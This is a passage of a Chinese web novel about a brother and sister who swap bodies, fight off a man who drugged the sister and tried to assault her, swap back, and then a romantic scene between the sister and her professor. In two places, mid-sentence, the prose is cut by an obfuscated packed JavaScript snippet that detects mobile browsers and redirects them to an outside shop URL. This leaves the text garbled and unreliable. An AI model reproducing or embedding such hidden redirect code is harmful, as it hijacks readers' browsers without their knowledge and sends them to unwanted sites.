她三步并作两步跨过客厅,在林嘉文还没回过头的瞬间,一记势大力沉的侧踢直接贯在了林嘉文的下颌骨上。 那是一声令人牙酸的骨裂声。 林嘉文猝不及防捱了一下,整个人像断了线的纸鸢,横着飞了出去,重重砸在电视柜上,玻璃渣碎了一地。 “沈渡舟”弯下腰,大口喘息着。 由于剧烈运动,少年的肌肉在校服下微微震颤,那张原本稚嫩的脸上,此刻却写满了一种不属于这个年纪的、杀伐果断的冷静。 “林嘉文你这个王八蛋,我焯你大爷,谁给你的胆子?” “姐……” 沈知窈的爆发力大得惊人。 讲真,这是沈渡舟第一次从姐姐嘴里听见这些粗鄙的字眼。 沈知窈纵身扑了上去,仗着沈渡舟的身体年轻又有爆发力,将对方狠狠摁住了,乱拳砸到林嘉文身上,看着这张令人生恶的脸,看到衣衫不整的沈渡舟,火气与后怕并存。 要不是许则安的“定位”启发了她,沈知窈打死也想不到林嘉文能龌龊到这个地步。 痛苦的产生是一个无解的恶性循环,沈知窈其实是不在意这些的,贞洁什么的哪有性命重要,顶多恶心一阵。 但是沈渡舟会怎么想,因为自己的过失,让自己的亲弟弟遇到这样的事——总之沈知窈空手劈了林嘉文的心都有了。 直到林嘉文死鱼一般瘫在地上,沈知窈才连滚带爬跪到沈渡舟跟前。 沈知窈一边整理沈渡舟的衣领,一边毫无形象地痛哭流涕:“对不起……让你经历这些……是我的错……” 沈渡舟勉强露出一个惭愧的微笑:“姐……你这抢的都是我的词儿啊……” “我要是,把这些事都处理好了,是不是就不会像这样了。” “姐,这不重要,总之,你到得很及时,我很好,真的,林嘉文那个混蛋还没来得及做什么……我就害怕你,你说要是有一天咱们换回来了,这不膈应么……”沈渡舟有些后怕,失去知觉的身体逐渐恢复了力气。 他伸手将沈知窈——也就是面前自己的身体,原本痞里痞气又帅气的脸居然变得泫然欲泣,实在是不可思议——揽进怀里,失而复得一般抱紧了对方。 “姐……” 酒店套间的灯光在这一刻晃得刺眼,空气里那股甜腻的熏香还没散尽,混杂着林嘉文身上那股子令人作呕的劣质威士忌气味。 沈渡舟虚脱地靠在“自己”的怀里,也就是被沈知窈操纵的那具少年的躯壳。那种死里逃生的战栗还没平息,他看着“沈渡舟”那张本该桀骜不驯的脸上此刻满是后怕与心疼的泪水,心里五味杂陈。 “姐,咱别哭了,丢的是我的脸……”他扯了扯嘴角,想开个玩笑缓解气氛,可嗓音里还是带了点生理性的哭腔。 就在这时,走廊外传来一阵杂乱而有力的脚步声,伴随着金属器械撞击地面的冷响。 “林嘉文,你安排的‘好戏’,就是这出吗?” 一道清冷如碎玉的声音破空而来。 许则安推门而入,他身后跟着两个面色肃穆的安保人员,那是他紧急调动的私教团队。 许则安的目光在触及沙发上衣衫凌乱的沈知窈,以及正死死护着她的“沈渡舟”时,眼底那抹压抑到了极致的寒芒,像是要把整间屋子冻裂。 林嘉文正捂着脱臼的下颌,趴在碎玻璃渣里哀嚎,血水顺着他的指缝滴在昂贵的地毯上。他原本的算计是等药效发作,他占了沈知窈后,再故意引许则安来看这一幕,让这位高岭之花亲眼看看自己护着的人有多“自甘下贱”。 可他没算到,沈知窈会来得这么快,更没算到,那个弱不禁风的沈渡舟,爆发力竟然恐怖得像个职业拳手。 “知窈……”许则安快步上前,一件带着淡淡冷泉香气的男士风衣便劈头盖脸地罩了下来,将她凌乱的衣衫和狼狈的体面严严实实地裹住。 他的动作极轻,却在触碰到那冰凉颤抖的指尖时,指骨猛地攥紧,手背上青筋暴起。 “许老师,我姐……不,我,我没事。”沈渡舟下意识地想推开他,可大脑在那一瞬间突然炸开一道白光。 那是一种极其诡异的失重感。 像是灵魂被生生从这具沉重的、带着药效残余的女性身体里抽离,又像是被塞进了一个久违的、充满了爆发力与燥热感的容器。 沈渡舟只觉得眼前一黑,耳畔嗡鸣作响,仿佛穿过了千山万水,又仿佛只是一次极其漫长的呼吸。 当他再次睁开眼时,视线下移。 他看见了一双节骨分明、虎口处带着伤痕的大手,那是他握惯了球杆和拳头的手。他低下头,看见了蓝白相间的高三校服,闻到了自己身上那股子横冲直撞的阳光与汗水味。 他换回来了。 “换回来了???” 怎么回事?契机是什么?就这么换回来了? 沈知窈闷哼一声,再次睁眼时,入目的是少年校服上那截熟悉的、带着一点圆珠笔划痕的袖口。 沈知窈看着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408121|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手,有些茫然地摸了摸脸颊,触手是温热且细腻的皮肤。那种如影随形的压抑感和力量感瞬间完成了错位交替,她呆呆地看着眼前的沈渡舟,两人在这一片狼藉中,目光交汇。 “姐?”沈渡舟试探性地叫了一声,这次的声音,是那种带着变声期尾音、实打实的野性少年音。 沈知窈眼里的泪水夺眶而出,她猛地扑进沈渡舟怀里,毫无形象地大哭起来。 “渡舟……对不起,对不起。”她哭得声嘶哑。 许则安僵在原地,他的手还虚扶在沈知窈的肩头。 他敏锐地察觉到了某种气息的变化——刚才那个凌厉如刀、满口脏话护着姐姐的“少年”,和现在这个虽然依旧跋扈却透着一丝局促的沈渡舟,完全是两个人。 许则安直接将沈知窈整个人捞进了怀里。他的力道很大,大到像是要把她揉进骨血里。 “对不起,我来晚了。”许则安的嗓音在微微发颤。 林嘉文在地上像条蛆一样蠕动着,试图去摸掉进沙发底下的手机。 沈渡舟眼底狠色一闪,他还没等许则安动手,直接上前一步,一脚踩住了林嘉文的手背,力道之大,直接听到了指骨错位的脆响。 沈知窈靠在他胸口,听着那如擂鼓般的心跳声,积压了数日的委屈与惶恐终于在这一刻决堤。她揪着许则安的衬衫领口,哭得像个丢了魂的孩子。 他活络了一下指关节,发出咔咔的响声,阴鸷的目光再次落在了还没搞清楚状况的林嘉文身上。 “林嘉文,既然许老师来了,那剩下的账,咱俩得用男人的方式算算了。” 沈渡舟像一头刚出笼的幼兽,猛地跨步上前,一把揪住林嘉文的领带,将他那张惨不忍睹的脸提到眼前。 “你想看‘素材’是吧?行。”沈渡舟嘴角勾起一抹残忍的弧度,反手掏出林嘉文那个专门用来偷拍的云端备机,当着他的面,狠狠砸碎在电视柜的棱角上,“等会儿警察来的时候,我会告诉他们,你不仅涉嫌猥亵、非法拘禁,还试图通过AI技术伪造他人隐私证据进行敲诈。” “哦对了,”沈渡舟凑近他耳边,笑容冷得掉渣,“姚若晨家里的入股资金,正好在南城项目的审计红线上。你这牢饭,估计能吃得挺香,你们就等着吧,我有的是时间陪你们耗。” 林嘉文彻底瘫了下去,眼底最后一点光亮也随之熄灭。 许则安抱起沈知窈,路过沈渡舟身边时,两个男人的目光在空中交汇了一瞬。 “带她走。”沈渡舟背过身,语气恢复了那种满不在乎的酷拽,“这鬼地方脏死了,剩下的烂摊子,老子自己收。” 许则安点点头,淡声道:“不要弄出人命了,除此之外,医药费精神损失费,赔多少都算我的。” 说罢他抱着沈知窈大步走出房门,只余下带来的两个人和沈渡舟收拾局面。 “AI合成视频是吧?你们姚家地盘是吧?”沈渡舟弯下腰,那股子地痞般的臭脾气在这一刻全面爆发,习惯性地想摸一下裤子口袋叼一根烟,突然想起来沈知窈肯定不会喜欢,于是摸索徒劳一阵,紧接着揪住林嘉文的头发,迫使那张扭曲的脸抬起来,“老子刚才没使上劲,软饭男,现在咱们重新算算账。” 35. Kiss Kiss 入夜时候下起了小雨,砸在积水里,惊起一圈圈细碎的纹路。 许则安抱着沈知窈坐进车后座时,动作轻得像是托着一捧易碎的春雪。 车内没有开灯,只有远处酒店霓虹灯的余光,隔着沾满水汽的玻璃,斑驳地打在两人的侧脸上。 沈知窈起初是僵硬的。那种从灵魂深处泛起的、因为差点被林嘉文得逞而产生的寒意,在触碰到许则安胸口稳健的心跳时,像遇热的冰层,开始细密地开裂。 她能闻到他风衣上清冷的草木香气,那是经年累月的书卷气与南城微凉夜色的混合,稳重得让人想掉眼泪。 她就那样蜷缩在他怀里,裹着那件宽大的灰色风衣,身体渐渐回温。 随着理智的回笼,一种近乎自虐的羞耻感本该涌上心头,可不知为何,当她在那微弱的光影里,看清许则安那张清俊得近乎刻板的脸时,那些推拒的话语竟一个字也吐不出来。 许则安平日里总是戴着那副金丝眼镜,斯文得有些疏离,可此刻,他的眼镜不知丢在了何处,那双深邃的眼眸直勾勾地盯着她,眼底未散的悲愤与失而复得的后怕交织在一起,竟显出一种令人心惊的侵略性。 沈知窈第一次发现,原来这个男人不只是实验室里冷静的导师,不只是会议桌前儒雅的副教授,他也是一个有着七情六欲、会为了她单枪匹马闯入险境的男人。 她看着他微微泛青的下颌,看着他因为隐忍情绪而紧绷的唇线,一种从未有过的、近乎荒唐的冲动在胸腔里横冲直撞。 “许老师……”她嗓音哑得厉害,带着点劫后余生的颤意。 许则安低头看她,手掌依旧稳稳地托着她的后背,指腹隔着薄薄的衣料,在她的蝴蝶骨上轻轻摩挲。 那是一个带有极强安抚意味、却又透着隐秘占有欲的动作。 “知窈,别怕。”他声音低沉,每一个字都像是落在平静湖面的石子,“有我在,我一直都在。” 沈知窈看着他,那种长期处于回避型人格里的防御机制,在这一刻竟然全面溃败。 她想,这大概就是所谓的“热血上头”。 她在这具身体里憋屈了太久,在林嘉文的算计里挣扎了太久,在姐弟错位的荒诞里疲惫了太久,她现在只想抓住一点真实的、滚烫的东西。 沈知窈猛地撑起身子,甚至没顾得上这副刚换回来的身体还有些虚软,她仰起头,闭上眼,带着一股决绝的、近乎自毁的勇气,轻轻地吻上了许则安的唇。 那是青涩到了极点的吻,没有任何技巧可言,轻若蜻蜓点水,泛起秋水的丝丝涟漪。沈知窈能感觉到对方嘴唇的冰冷,以及在这一瞬间,许则安彻底凝固的呼吸。 车厢内的空气仿佛在刹那间被抽干,那种窒息像是被扔上沙滩的鱼。 沈知窈的唇瓣颤抖着贴着他的,那种滚烫的触感通过神经末梢直抵大脑皮层,烧得她几乎要自燃。她感受到了许则安身体在那一秒的僵硬,那种如临深渊的寂静让她突然想要疯狂退缩。 她是谁?她是沈知窈,是那个连被告白都会下意识想要逃跑的回避者。 这种主动索取、这种逾矩的亲昵,根本不符合她的生存逻辑。 “对……对不起……” 沈知窈磕磕绊绊地道歉,下一秒猛地撤回身体,原本撑在他肩头的手像是触了电一般想要缩回风衣里。 她低着头,恨不得立刻化作一摊水消失在车座缝隙里,脸颊烫得能滴出血来,心跳声大得让她觉得莫名羞耻。 她在想什么?她怎么能利用许则安的温柔做出这种事?万一他只是出于同情…… 该死的吊桥效应!怎么能让人做这么不理智的事! 然而,那只想要撤离的手,被一只更有力的、带着薄茧的大手死死扣住了。 “沈知窈。” 许则安的声音沙哑得不成样子,带着一种被挑起火气后的危险感。他没有给她逃跑的机会,另一只手直接扣住了她的后脑勺,指缝穿过她略显凌乱的长发,迫使她重新抬起头来。 “亲完就想跑,你搞学术也会这样吗。” 许则安微凉的鼻尖抵住她的,两人的呼吸缠绕在一起,在那方窄小的空间里酿成了令人微醺的酒。他看着她受惊小鹿般的眼神,嘴角竟勾起一抹极淡、却极具侵略性的笑意。 “既然是你先开始的,那结束的权利,就不在你手里了。” 下一秒,许则安反客为主,一吻如汹涌的潮水,再次将她淹没。 如果说沈知窈刚才的举动是雨后初醒的冲动,那么许则安此时的动作便是压抑了多年感情的爆发,万千思绪混杂在一起,在心里揉成一团,酸的涩的苦的甜的一起涌上心头。 求而不得的苦衷,还有隔岸观火的痛苦,就像是潮湿了多年的梅雨季节,贯穿了许则安看似光鲜亮丽的青春年少。 他稳准狠地掠夺着她的呼吸,舌尖抵开齿关,在那片方寸之地横冲直撞。 那是不属于他平时儒雅形象的野性,带着成年人之间特有的张力,不仅是在索取,更是在确认——确认她是真的回来了,确认她这颗总是缩在壳里的心,因为他的存在,终于愿意裂开一道缝。 沈知窈被吻得大脑缺氧,双手本能地抵在他胸口,却随着吻的加深,慢慢滑到了他的颈后,不自觉地揪紧了他的衣领。 那种被全然掌控、被浓烈爱意冲击的感觉,让她原本纠结的内心渐渐平息,取而代之的是一种近乎沉溺的顺从。 许则安的吻变得愈发缠绵且极具耐心,他像是在品鉴一首晦涩难懂却意蕴悠长的诗,一点点拓宽她的防线,引导着她青涩的试探。 车窗外的霓虹依旧在闪烁,将两人的剪影拉得很长。 许则安想要守护的人从来没有变过,真是因为沈知窈的存在,一切才有了意义。 沈知窈也终于愿意从那个冰冷的壳里走出来,去拥抱这抹唯一的火光。 良久,许则安才微微松开她,额头抵着她的额头,两人都在剧烈地喘息,封闭的狭小空间里,空气变得炽热。 “知窈,你看着我,我是谁?” “许老师……”因为紧张,沈知窈的下唇不受控制地颤抖起来,为了掩饰这种不自在,她咬住下唇,佯装无事发生。 她的每一个神情、动作,许则安都看在眼里,他说:“不要害怕我,知窈,是我的问题,是我太着急了。” 明摆的以退为进,但沈知窈就吃这一套。 “没有的事。”沈知窈闻言拽紧了对方的衣角,虽然有些露怯,但还是很执着地正视自己以及眼前的许则安。 “许则安。”沈知窈深吸一口气,在确认自己表情非常体面、心绪平和后,她双手拖着许则安的脸颊,表情郑重至极,“那你快对我说,你爱我。” “我爱你。”许则安很直截了当、极其痛快地说了,那脱口而出的架势,似乎是在心里排练过无数次,“不管发生什么,我一直都在。” “我就是很爱你啊,知窈。”许则安的口吻无比笃定,这样的话从他嘴里说出来,带上了一种致命的性感。 那样炽热的眼眸丝毫没有让沈知窈感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411839|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到攻击性,反而是多了几分易碎的脆弱感。 沈知窈顺着对方的动作,脱力般地靠在他的肩头,呼吸还带着未平复的颤栗。 她能感觉到许则安的手掌依旧稳稳地托在她的腰后,力道恰到好处,既不过分唐突,又透着一种失而复得的笃定。 这种成年男性的力度,隔着几层薄薄的衣料,不断向她传递着一种名为“归位”的信号。 “知窈,缓过来了吗?” 许则安的声音在狭窄的空间里震动,由于刚才的亲昵,他的嗓音低哑得像是在大提琴最低沉的那根弦上拨弄。 他并没有急着发动车子,也没有说任何让沈知窈尴尬的调侃,只是顺手从扶手箱里抽出一张温软的湿巾,极有耐心地、一点点擦拭着她刚才因为挣扎而蹭在额角的一抹灰尘。 他的动作慢而细致,沈知窈看着他,眼睫毛不安地颤动着,视线落在他那件被自己揪得皱皱巴巴的衬衫领口上,心跳声在寂静中显得震耳欲聋。 “许老师,我刚才……是不是很傻。”沈知窈刚一开口,那种由于回避型人格带来的“自省式尴尬”便后知后觉地袭来。 她觉得刚才那个吻、那样肉麻的话,简直像是个荒唐的意外,虽然那是她先发起的,可现在想起来,总觉得自己像是变了个人。 “刚才的事是我的逾矩。”许则安截断了她的自我审判,他收回湿巾,目光温和且深邃地锁住她,语气里带着一种让人无法反驳的担当,“但我并不打算为此道歉,如果你觉得唐突,所有的责任都归我。你可以继续做那个理性的沈老师,而我会继续等那个偶尔会‘冲动’的沈知窈,等待你的选择。” 这话讲得极有水平,不仅给沈知窈留了退路,还顺带把她心里那点羞耻感给生生压了下去。 沈知窈抿了抿唇,看着他那张清俊的脸,突然觉得在这个男人面前,所谓的防备其实都是徒劳。 酒店1208房的喧嚣最终被一阵急促而单调的警笛声收了尾。 沈渡舟蹲在走廊的落地窗边,指间掐着一根没点燃的烟,那是他从林嘉文掉落的西装口袋里顺出来的。 烟草的辛辣气味在鼻尖萦绕,他看着警察将一脸死灰、下颌骨歪斜的林嘉文架走,看着那台作为罪证的摄像机被装进证物袋。 他那一记侧踢使得极狠,林嘉文到现在都没能吐出一个完整的音节。 有几个指指点点的顾客,背地里对沈渡舟指手画脚。 “看什么看?没见过正当防卫啊?”沈渡舟一点都不惯着,叉着腰就怼了回去。 “咳咳……”年轻警察轻声咳嗽,制止了沈渡舟。 沈渡舟对着年轻警察挑了挑眉,那股子十七岁少年的混不吝劲儿彻底回了魂,即便对方满脸狐疑地盯着他身上的二中校服。 “沈渡舟,跟我们回去做个笔录。”警察皱着眉说。 “行啊,配合公家工作,是良好市民的本分工作。”他拍了拍裤子上的灰,站起身,最后回头看了一眼那道紧闭的套房大门。 许则安已经带着沈知窈走了。 那辆银灰色的轿车消失在沉沉夜幕中时,沈渡舟心里那块悬了半个月的石头,才算彻底砸进了深水里,激起一阵劫后余生的余响。 他其实挺后怕的,尤其是刚才沈知窈冲进去那一瞬间,他从姐姐那双一贯清冷的眼里,看到了某种同归于尽的疯狂。 那是为了护着他,才长出来的獠牙。 沈渡舟心想,或许在你心里,我也会是很重要的人吧。沈知窈,我对你而言,也会非常重要吧。